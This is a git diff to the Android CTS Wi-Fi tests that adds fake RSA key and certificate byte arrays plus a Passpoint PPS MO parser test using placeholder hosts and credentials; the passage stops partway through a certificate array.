+            (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
+            (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
+            (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
+            (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
+            (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
+            (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
+            (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
+            (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
+            (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
+            (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
+            (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
+            (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
+            (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
+            (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
+            (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
+            (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
+            (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
+            (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
+            (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
+            (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
+            (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
+            (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
+            (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
+            (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
+            (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
+            (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
+            (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
+            (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
+            (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
+            (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
+            (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
+            (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
+            (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
+            (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
+            (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
+            (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
+            (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
+            (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
+            (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
+            (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
+            (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
+            (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
+            (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
+            (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
+            (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
+            (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
+            (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
+            (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
+            (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
+            (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
+            (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
+            (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
+            (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
+            (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
+            (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
+            (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+            (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
+            (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
+            (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
+            (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
+            (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
+            (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
+            (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
+            (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
+            (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
+            (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
+            (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
+            (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
+            (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
+            (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
+            (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
+            (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
+            (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
+            (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
+            (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
+            (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
+            (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
+            (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
+            (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
+            (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
+            (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
+            (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
+            (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
+            (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
+            (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
+            (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
+            (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
+            (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
+            (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
+    };
+    public static final PrivateKey RSA_KEY1 = loadPrivateRSAKey(FAKE_RSA_KEY_1);
+
+    private static X509Certificate loadCertificate(String blob) {
+        try {
+            final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            InputStream stream = new ByteArrayInputStream(blob.getBytes(StandardCharsets.UTF_8));
+
+            return (X509Certificate) certFactory.generateCertificate(stream);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static PrivateKey loadPrivateRSAKey(byte[] fakeKey) {
+        try {
+            KeyFactory kf = KeyFactory.getInstance("RSA");
+            return kf.generatePrivate(new PKCS8EncodedKeySpec(fakeKey));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java b/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java
new file mode 100644
index 0000000..b5e2f77
--- /dev/null
+++ b/tests/tests/net/src/android/net/wifi/cts/PpsMoParserTest.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import android.net.wifi.hotspot2.PasspointConfiguration;
+import android.net.wifi.hotspot2.omadm.PpsMoParser;
+import android.net.wifi.hotspot2.pps.Credential;
+import android.net.wifi.hotspot2.pps.HomeSp;
+import android.net.wifi.hotspot2.pps.Policy;
+import android.net.wifi.hotspot2.pps.UpdateParameter;
+import android.test.AndroidTestCase;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * CTS tests for PPS MO (PerProviderSubscription Management Object) XML string parsing API.
+ */
+public class PpsMoParserTest extends AndroidTestCase {
+    private static final String PPS_MO_XML_FILE = "assets/PerProviderSubscription.xml";
+
+    /**
+     * Read the content of the given resource file into a String.
+     *
+     * @param filename String name of the file
+     * @return String
+     * @throws IOException
+     */
+    private String loadResourceFile(String filename) throws IOException {
+        InputStream in = getClass().getClassLoader().getResourceAsStream(filename);
+        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
+        StringBuilder builder = new StringBuilder();
+        String line;
+        while ((line = reader.readLine()) != null) {
+            builder.append(line).append("\n");
+        }
+        return builder.toString();
+    }
+
+    /**
+     * Generate a {@link PasspointConfiguration} that matches the configuration specified in the
+     * XML file {@link #PPS_MO_XML_FILE}.
+     *
+     * @return {@link PasspointConfiguration}
+     */
+    private PasspointConfiguration generateConfigurationFromPPSMOTree() throws Exception {
+        DateFormat format = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss'Z'");
+        byte[] certFingerprint = new byte[32];
+        Arrays.fill(certFingerprint, (byte) 0x1f);
+
+        PasspointConfiguration config = new PasspointConfiguration();
+        config.setUpdateIdentifier(12);
+        assertEquals(12, config.getUpdateIdentifier());
+        config.setCredentialPriority(99);
+        assertEquals(99, config.getCredentialPriority());
+
+        // AAA Server trust root.
+        Map<String, byte[]> trustRootCertList = new HashMap<>();
+        trustRootCertList.put("server1.trust.root.com", certFingerprint);
+        config.setTrustRootCertList(trustRootCertList);
+        assertEquals(trustRootCertList, config.getTrustRootCertList());
+
+        // Subscription update.
+        UpdateParameter subscriptionUpdate = new UpdateParameter();
+        subscriptionUpdate.setUpdateIntervalInMinutes(120);
+        assertEquals(120, subscriptionUpdate.getUpdateIntervalInMinutes());
+        subscriptionUpdate.setUpdateMethod(UpdateParameter.UPDATE_METHOD_SSP);
+        assertEquals(UpdateParameter.UPDATE_METHOD_SSP, subscriptionUpdate.getUpdateMethod());
+        subscriptionUpdate.setRestriction(UpdateParameter.UPDATE_RESTRICTION_ROAMING_PARTNER);
+        assertEquals(UpdateParameter.UPDATE_RESTRICTION_ROAMING_PARTNER,
+                subscriptionUpdate.getRestriction());
+        subscriptionUpdate.setServerUri("subscription.update.com");
+        assertEquals("subscription.update.com", subscriptionUpdate.getServerUri());
+        subscriptionUpdate.setUsername("subscriptionUser");
+        assertEquals("subscriptionUser", subscriptionUpdate.getUsername());
+        subscriptionUpdate.setBase64EncodedPassword("subscriptionPass");
+        assertEquals("subscriptionPass", subscriptionUpdate.getBase64EncodedPassword());
+        subscriptionUpdate.setTrustRootCertUrl("subscription.update.cert.com");
+        assertEquals("subscription.update.cert.com", subscriptionUpdate.getTrustRootCertUrl());
+        subscriptionUpdate.setTrustRootCertSha256Fingerprint(certFingerprint);
+        assertTrue(Arrays.equals(certFingerprint,
+                subscriptionUpdate.getTrustRootCertSha256Fingerprint()));
+        config.setSubscriptionUpdate(subscriptionUpdate);
+        assertEquals(subscriptionUpdate, config.getSubscriptionUpdate());
+
+        // Subscription parameters.
+        config.setSubscriptionCreationTimeInMs(format.parse("2016-02-01T10:00:00Z").getTime());
+        assertEquals(format.parse("2016-02-01T10:00:00Z").getTime(),
+                config.getSubscriptionCreationTimeInMs());
+        config.setSubscriptionExpirationTimeInMs(format.parse("2016-03-01T10:00:00Z").getTime());
+        assertEquals(format.parse("2016-03-01T10:00:00Z").getTime(),
+                config.getSubscriptionExpirationTimeInMs());
+        config.setSubscriptionType("Gold");
+        assertEquals("Gold", config.getSubscriptionType());
+        config.setUsageLimitDataLimit(921890);
+        assertEquals(921890, config.getUsageLimitDataLimit());
+        config.setUsageLimitStartTimeInMs(format.parse("2016-12-01T10:00:00Z").getTime());
+        assertEquals(format.parse("2016-12-01T10:00:00Z").getTime(),
+                config.getUsageLimitStartTimeInMs());
+        config.setUsageLimitTimeLimitInMinutes(120);
+        assertEquals(120, config.getUsageLimitTimeLimitInMinutes());
+        config.setUsageLimitUsageTimePeriodInMinutes(99910);
+        assertEquals(99910, config.getUsageLimitUsageTimePeriodInMinutes());
+
+        // HomeSP configuration.
+        HomeSp homeSp = new HomeSp();
+        homeSp.setFriendlyName("Century House");
+        assertEquals("Century House", homeSp.getFriendlyName());
+        homeSp.setFqdn("mi6.co.uk");
+        assertEquals("mi6.co.uk", homeSp.getFqdn());
+        homeSp.setRoamingConsortiumOis(new long[] {0x112233L, 0x445566L});
+        assertTrue(Arrays.equals(new long[] {0x112233L, 0x445566L},
+                homeSp.getRoamingConsortiumOis()));
+        homeSp.setIconUrl("icon.test.com");
+        assertEquals("icon.test.com", homeSp.getIconUrl());
+        Map<String, Long> homeNetworkIds = new HashMap<>();
+        homeNetworkIds.put("TestSSID", 0x12345678L);
+        homeNetworkIds.put("NullHESSID", null);
+        homeSp.setHomeNetworkIds(homeNetworkIds);
+        assertEquals(homeNetworkIds, homeSp.getHomeNetworkIds());
+        homeSp.setMatchAllOis(new long[] {0x11223344});
+        assertTrue(Arrays.equals(new long[] {0x11223344}, homeSp.getMatchAllOis()));
+        homeSp.setMatchAnyOis(new long[] {0x55667788});
+        assertTrue(Arrays.equals(new long[] {0x55667788}, homeSp.getMatchAnyOis()));
+        homeSp.setOtherHomePartners(new String[] {"other.fqdn.com"});
+        assertTrue(Arrays.equals(new String[] {"other.fqdn.com"},
+                homeSp.getOtherHomePartners()));
+        config.setHomeSp(homeSp);
+        assertEquals(homeSp, config.getHomeSp());
+
+        // Credential configuration.
+        Credential credential = new Credential();
+        credential.setCreationTimeInMs(format.parse("2016-01-01T10:00:00Z").getTime());
+        assertEquals(format.parse("2016-01-01T10:00:00Z").getTime(),
+                credential.getCreationTimeInMs());
+        credential.setExpirationTimeInMs(format.parse("2016-02-01T10:00:00Z").getTime());
+        assertEquals(format.parse("2016-02-01T10:00:00Z").getTime(),
+                credential.getExpirationTimeInMs());
+        credential.setRealm("shaken.stirred.com");
+        assertEquals("shaken.stirred.com", credential.getRealm());
+        credential.setCheckAaaServerCertStatus(true);
+        assertTrue(credential.getCheckAaaServerCertStatus());
+        Credential.UserCredential userCredential = new Credential.UserCredential();
+        userCredential.setUsername("james");
+        assertEquals("james", userCredential.getUsername());
+        userCredential.setPassword("Ym9uZDAwNw==");
+        assertEquals("Ym9uZDAwNw==", userCredential.getPassword());
+        userCredential.setMachineManaged(true);
+        assertTrue(userCredential.getMachineManaged());
+        userCredential.setSoftTokenApp("TestApp");
+        assertEquals("TestApp", userCredential.getSoftTokenApp());
+        userCredential.setAbleToShare(true);
+        assertTrue(userCredential.getAbleToShare());
+        userCredential.setEapType(21);
+        assertEquals(21, userCredential.getEapType());
+        userCredential.setNonEapInnerMethod("MS-CHAP-V2");
+        assertEquals("MS-CHAP-V2", userCredential.getNonEapInnerMethod());
+        credential.setUserCredential(userCredential);
+        assertEquals(userCredential, credential.getUserCredential());
+        Credential.CertificateCredential certCredential = new Credential.CertificateCredential();
+        certCredential.setCertType("x509v3");
+        assertEquals("x509v3", certCredential.getCertType());
+        certCredential.setCertSha256Fingerprint(certFingerprint);
+        assertTrue(Arrays.equals(certFingerprint, certCredential.getCertSha256Fingerprint()));
+        credential.setCertCredential(certCredential);
+        assertEquals(certCredential, credential.getCertCredential());
+        Credential.SimCredential simCredential = new Credential.SimCredential();
+        simCredential.setImsi("imsi");
+        assertEquals("imsi", simCredential.getImsi());
+        simCredential.setEapType(24);
+        assertEquals(24, simCredential.getEapType());
+        credential.setSimCredential(simCredential);
+        assertEquals(simCredential, credential.getSimCredential());
+        config.setCredential(credential);
+        assertEquals(credential, config.getCredential());
+
+        // Policy configuration.
+        Policy policy = new Policy();
+        List<Policy.RoamingPartner> preferredRoamingPartnerList = new ArrayList<>();
+        Policy.RoamingPartner partner1 = new Policy.RoamingPartner();
+        partner1.setFqdn("test1.fqdn.com");
+        assertEquals("test1.fqdn.com", partner1.getFqdn());
+        partner1.setFqdnExactMatch(true);
+        assertTrue(partner1.getFqdnExactMatch());
+        partner1.setPriority(127);
+        assertEquals(127, partner1.getPriority());
+        partner1.setCountries("us,fr");
+        assertEquals("us,fr", partner1.getCountries());
+        Policy.RoamingPartner partner2 = new Policy.RoamingPartner();
+        partner2.setFqdn("test2.fqdn.com");
+        assertEquals("test2.fqdn.com", partner2.getFqdn());
+        partner2.setFqdnExactMatch(false);
+        assertFalse(partner2.getFqdnExactMatch());
+        partner2.setPriority(200);
+        assertEquals(200, partner2.getPriority());
+        partner2.setCountries("*");
+        assertEquals("*", partner2.getCountries());
+        preferredRoamingPartnerList.add(partner1);
+        preferredRoamingPartnerList.add(partner2);
+        policy.setPreferredRoamingPartnerList(preferredRoamingPartnerList);
+        assertEquals(preferredRoamingPartnerList, policy.getPreferredRoamingPartnerList());
+        policy.setMinHomeDownlinkBandwidth(23412);
+        assertEquals(23412, policy.getMinHomeDownlinkBandwidth());
+        policy.setMinHomeUplinkBandwidth(9823);
+        assertEquals(9823, policy.getMinHomeUplinkBandwidth());
+        policy.setMinRoamingDownlinkBandwidth(9271);
+        assertEquals(9271, policy.getMinRoamingDownlinkBandwidth());
+        policy.setMinRoamingUplinkBandwidth(2315);
+        assertEquals(2315, policy.getMinRoamingUplinkBandwidth());
+        policy.setExcludedSsidList(new String[] {"excludeSSID"});
+        assertTrue(Arrays.equals(new String[] {"excludeSSID"}, policy.getExcludedSsidList()));
+        Map<Integer, String> requiredProtoPortMap = new HashMap<>();
+        requiredProtoPortMap.put(12, "34,92,234");
+        policy.setRequiredProtoPortMap(requiredProtoPortMap);
+        assertEquals(requiredProtoPortMap, policy.getRequiredProtoPortMap());
+        policy.setMaximumBssLoadValue(23);
+        assertEquals(23, policy.getMaximumBssLoadValue());
+        UpdateParameter policyUpdate = new UpdateParameter();
+        policyUpdate.setUpdateIntervalInMinutes(120);
+        assertEquals(120, policyUpdate.getUpdateIntervalInMinutes());
+        policyUpdate.setUpdateMethod(UpdateParameter.UPDATE_METHOD_OMADM);
+        assertEquals(UpdateParameter.UPDATE_METHOD_OMADM, policyUpdate.getUpdateMethod());
+        policyUpdate.setRestriction(UpdateParameter.UPDATE_RESTRICTION_HOMESP);
+        assertEquals(UpdateParameter.UPDATE_RESTRICTION_HOMESP, policyUpdate.getRestriction());
+        policyUpdate.setServerUri("policy.update.com");
+        assertEquals("policy.update.com", policyUpdate.getServerUri());
+        policyUpdate.setUsername("updateUser");
+        assertEquals("updateUser", policyUpdate.getUsername());
+        policyUpdate.setBase64EncodedPassword("updatePass");
+        assertEquals("updatePass", policyUpdate.getBase64EncodedPassword());
+        policyUpdate.setTrustRootCertUrl("update.cert.com");
+        assertEquals("update.cert.com", policyUpdate.getTrustRootCertUrl());
+        policyUpdate.setTrustRootCertSha256Fingerprint(certFingerprint);
+        assertTrue(Arrays.equals(certFingerprint,
+                policyUpdate.getTrustRootCertSha256Fingerprint()));
+        policy.setPolicyUpdate(policyUpdate);
+        assertEquals(policyUpdate, policy.getPolicyUpdate());
+        config.setPolicy(policy);
+        assertEquals(policy, config.getPolicy());
+        return config;
+    }
+
+    /**
+     * Parse and verify all supported fields under PPS MO tree.
+     *
+     * @throws Exception
+     */
+    public void testParsePPSMOTree() throws Exception {
+        String ppsMoTree = loadResourceFile(PPS_MO_XML_FILE);
+        PasspointConfiguration expectedConfig = generateConfigurationFromPPSMOTree();
+        PasspointConfiguration actualConfig = PpsMoParser.parseMoText(ppsMoTree);
+        assertTrue(actualConfig.equals(expectedConfig));
+    }
+}
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
index f3eb4e9..d3235da 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
@@ -26,8 +26,11 @@
 import android.test.AndroidTestCase;
 
 import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
 import java.security.cert.CertificateFactory;
 import java.security.cert.X509Certificate;
+import java.security.spec.PKCS8EncodedKeySpec;
 
 public class WifiEnterpriseConfigTest extends AndroidTestCase {
     private  WifiManager mWifiManager;
@@ -432,6 +435,246 @@
         (byte) 0x9e, (byte) 0x34, (byte) 0x73
     };
 
+    /**
+     * Client certificate generated from above and converted with:
+     *
+     * openssl x509 -outform d -in usercert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+     */
+    private static final byte[] FAKE_EC_3 = {
+        (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xdf, (byte) 0x30, (byte) 0x82,
+        (byte) 0x01, (byte) 0xc7, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+        (byte) 0x02, (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x30, (byte) 0x0d,
+        (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+        (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x0b, (byte) 0x05,
+        (byte) 0x00, (byte) 0x30, (byte) 0x64, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+        (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+        (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31, (byte) 0x0b,
+        (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+        (byte) 0x08, (byte) 0x0c, (byte) 0x02, (byte) 0x43, (byte) 0x41, (byte) 0x31,
+        (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+        (byte) 0x04, (byte) 0x07, (byte) 0x0c, (byte) 0x0d, (byte) 0x4d, (byte) 0x6f,
+        (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69, (byte) 0x6e,
+        (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77, (byte) 0x31,
+        (byte) 0x0f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+        (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x06, (byte) 0x47, (byte) 0x6f,
+        (byte) 0x6f, (byte) 0x67, (byte) 0x6c, (byte) 0x65, (byte) 0x31, (byte) 0x10,
+        (byte) 0x30, (byte) 0x0e, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+        (byte) 0x0b, (byte) 0x0c, (byte) 0x07, (byte) 0x41, (byte) 0x6e, (byte) 0x64,
+        (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64, (byte) 0x31, (byte) 0x0d,
+        (byte) 0x30, (byte) 0x0b, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+        (byte) 0x03, (byte) 0x0c, (byte) 0x04, (byte) 0x54, (byte) 0x45, (byte) 0x53,
+        (byte) 0x54, (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31,
+        (byte) 0x37, (byte) 0x30, (byte) 0x31, (byte) 0x32, (byte) 0x37, (byte) 0x31,
+        (byte) 0x37, (byte) 0x35, (byte) 0x38, (byte) 0x31, (byte) 0x32, (byte) 0x5a,
+        (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x37, (byte) 0x30, (byte) 0x31,
+        (byte) 0x32, (byte) 0x35, (byte) 0x31, (byte) 0x37, (byte) 0x35, (byte) 0x38,
+        (byte) 0x31, (byte) 0x32, (byte) 0x5a, (byte) 0x30, (byte) 0x50, (byte) 0x31,
+        (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+        (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
+        (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
+        (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x02, (byte) 0x43,
+        (byte) 0x41, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+        (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x06,
+        (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c, (byte) 0x65,
+        (byte) 0x31, (byte) 0x10, (byte) 0x30, (byte) 0x0e, (byte) 0x06, (byte) 0x03,
+        (byte) 0x55, (byte) 0x04, (byte) 0x0b, (byte) 0x0c, (byte) 0x07, (byte) 0x41,
